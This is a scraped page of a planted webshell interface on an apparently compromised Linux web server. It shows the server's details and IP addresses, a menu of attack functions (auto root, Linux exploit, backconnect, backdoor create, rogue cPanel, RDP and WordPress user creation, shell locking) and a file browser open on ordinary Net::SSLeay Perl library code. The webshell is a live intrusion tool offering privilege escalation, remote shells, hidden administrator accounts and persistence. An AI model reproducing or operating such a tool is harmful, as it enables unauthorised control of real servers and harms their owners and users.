Linux node5458.myfcloud.com 6.10.2-x86_64-linode165 #1 SMP PREEMPT_DYNAMIC Tue Jul 30 15:03:21 EDT 2024 x86_64
Apache
: 45.79.123.194 | : 3.138.102.219
16 Domain
7.4.33
addify5
shells.trxsecurity.org
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib64 /
perl5 /
vendor_perl /
auto /
Net /
SSLeay /
[ HOME SHELL ]
Name
Size
Permission
Action
SSLeay.so
423.98
KB
-rwxr-xr-x
autosplit.ix
1.54
KB
-rw-r--r--
debug_read.al
677
B
-rw-r--r--
do_https.al
507
B
-rw-r--r--
do_https2.al
446
B
-rw-r--r--
do_https3.al
466
B
-rw-r--r--
do_https4.al
357
B
-rw-r--r--
do_httpx2.al
535
B
-rw-r--r--
do_httpx3.al
1.52
KB
-rw-r--r--
do_httpx4.al
544
B
-rw-r--r--
dump_peer_certificate.al
958
B
-rw-r--r--
get_http.al
316
B
-rw-r--r--
get_http3.al
319
B
-rw-r--r--
get_http4.al
319
B
-rw-r--r--
get_https.al
319
B
-rw-r--r--
get_https3.al
322
B
-rw-r--r--
get_https4.al
322
B
-rw-r--r--
get_httpx.al
316
B
-rw-r--r--
get_httpx3.al
319
B
-rw-r--r--
get_httpx4.al
319
B
-rw-r--r--
head_http.al
319
B
-rw-r--r--
head_http3.al
322
B
-rw-r--r--
head_http4.al
346
B
-rw-r--r--
head_https.al
322
B
-rw-r--r--
head_https3.al
325
B
-rw-r--r--
head_https4.al
333
B
-rw-r--r--
head_httpx.al
319
B
-rw-r--r--
head_httpx3.al
322
B
-rw-r--r--
head_httpx4.al
399
B
-rw-r--r--
http_cat.al
1.18
KB
-rw-r--r--
https_cat.al
2.96
KB
-rw-r--r--
httpx_cat.al
558
B
-rw-r--r--
initialize.al
814
B
-rw-r--r--
make_form.al
604
B
-rw-r--r--
make_headers.al
575
B
-rw-r--r--
new_x_ctx.al
1.2
KB
-rw-r--r--
open_proxy_tcp_connection.al
1.25
KB
-rw-r--r--
open_tcp_connection.al
1.4
KB
-rw-r--r--
post_http.al
318
B
-rw-r--r--
post_http3.al
321
B
-rw-r--r--
post_http4.al
321
B
-rw-r--r--
post_https.al
321
B
-rw-r--r--
post_https3.al
324
B
-rw-r--r--
post_https4.al
324
B
-rw-r--r--
post_httpx.al
318
B
-rw-r--r--
post_httpx3.al
321
B
-rw-r--r--
post_httpx4.al
321
B
-rw-r--r--
put_http.al
316
B
-rw-r--r--
put_http3.al
319
B
-rw-r--r--
put_http4.al
319
B
-rw-r--r--
put_https.al
319
B
-rw-r--r--
put_https3.al
322
B
-rw-r--r--
put_https4.al
322
B
-rw-r--r--
put_httpx.al
316
B
-rw-r--r--
put_httpx3.al
319
B
-rw-r--r--
put_httpx4.al
319
B
-rw-r--r--
randomize.al
1.05
KB
-rw-r--r--
set_cert_and_key.al
805
B
-rw-r--r--
set_proxy.al
540
B
-rw-r--r--
set_server_cert_and_key.al
413
B
-rw-r--r--
ssl_read_CRLF.al
384
B
-rw-r--r--
ssl_read_all.al
801
B
-rw-r--r--
ssl_read_until.al
3.04
KB
-rw-r--r--
ssl_write_CRLF.al
812
B
-rw-r--r--
ssl_write_all.al
5.6
KB
-rw-r--r--
sslcat.al
3.05
KB
-rw-r--r--
tcp_read_CRLF.al
400
B
-rw-r--r--
tcp_read_all.al
756
B
-rw-r--r--
tcp_read_until.al
970
B
-rw-r--r--
tcp_write_CRLF.al
793
B
-rw-r--r--
tcp_write_all.al
1.2
KB
-rw-r--r--
tcpcat.al
1.33
KB
-rw-r--r--
tcpxcat.al
485
B
-rw-r--r--
want_X509_lookup.al
441
B
-rw-r--r--
want_nothing.al
357
B
-rw-r--r--
want_read.al
309
B
-rw-r--r--
want_write.al
312
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : sslcat.al
# NOTE: Derived from blib/lib/Net/SSLeay.pm. # Changes made here will be lost when autosplit is run again. # See AutoSplit.pm. package Net::SSLeay; #line 952 "blib/lib/Net/SSLeay.pm (autosplit into blib/lib/auto/Net/SSLeay/sslcat.al)" ### ### Basic request - response primitive (don't use for https) ### sub sslcat { # address, port, message, $crt, $key --> reply / (reply,errs,cert) my ($dest_serv, $port, $out_message, $crt_path, $key_path) = @_; my ($ctx, $ssl, $got, $errs, $written); ($got, $errs) = open_proxy_tcp_connection($dest_serv, $port); return (wantarray ? (undef, $errs) : undef) unless $got; ### Do SSL negotiation stuff warn "Creating SSL $ssl_version context...\n" if $trace>2; initialize(); # Will init at most once $ctx = new_x_ctx(); goto cleanup2 if $errs = print_errs('CTX_new') or !$ctx; CTX_set_options($ctx, &OP_ALL); goto cleanup2 if $errs = print_errs('CTX_set_options'); warn "Cert `$crt_path' given without key" if $crt_path && !$key_path; set_cert_and_key($ctx, $crt_path, $key_path) if $crt_path; warn "Creating SSL connection (context was '$ctx')...\n" if $trace>2; $ssl = new($ctx); goto cleanup if $errs = print_errs('SSL_new') or !$ssl; warn "Setting fd (ctx $ctx, con $ssl)...\n" if $trace>2; set_fd($ssl, fileno(SSLCAT_S)); goto cleanup if $errs = print_errs('set_fd'); warn "Entering SSL negotiation phase...\n" if $trace>2; if ($trace>2) { my $i = 0; my $p = ''; my $cipher_list = 'Cipher list: '; $p=Net::SSLeay::get_cipher_list($ssl,$i); $cipher_list .= $p if $p; do { $i++; $cipher_list .= ', ' . $p if $p; $p=Net::SSLeay::get_cipher_list($ssl,$i); } while $p; $cipher_list .= '\n'; warn $cipher_list; } $got = Net::SSLeay::connect($ssl); warn "SSLeay connect returned $got\n" if $trace>2; goto cleanup if $errs = print_errs('SSL_connect'); my $server_cert = get_peer_certificate($ssl); print_errs('get_peer_certificate'); if ($trace>1) { warn "Cipher `" . get_cipher($ssl) . "'\n"; print_errs('get_ciper'); warn dump_peer_certificate($ssl); } ### Connected. Exchange some data (doing repeated tries if necessary). warn "sslcat $$: sending " . blength($out_message) . " bytes...\n" if $trace==3; warn "sslcat $$: sending `$out_message' (" . blength($out_message) . " bytes)...\n" if $trace>3; ($written, $errs) = ssl_write_all($ssl, $out_message); goto cleanup unless $written; sleep $slowly if $slowly; # Closing too soon can abort broken servers CORE::shutdown SSLCAT_S, 1; # Half close --> No more output, send EOF to server warn "waiting for reply...\n" if $trace>2; ($got, $errs) = ssl_read_all($ssl); warn "Got " . blength($got) . " bytes.\n" if $trace==3; warn "Got `$got' (" . blength($got) . " bytes)\n" if $trace>3; cleanup: free ($ssl); $errs .= print_errs('SSL_free'); cleanup2: CTX_free ($ctx); $errs .= print_errs('CTX_free'); close SSLCAT_S; return wantarray ? ($got, $errs, $server_cert) : $got; } # end of Net::SSLeay::sslcat 1;
Close
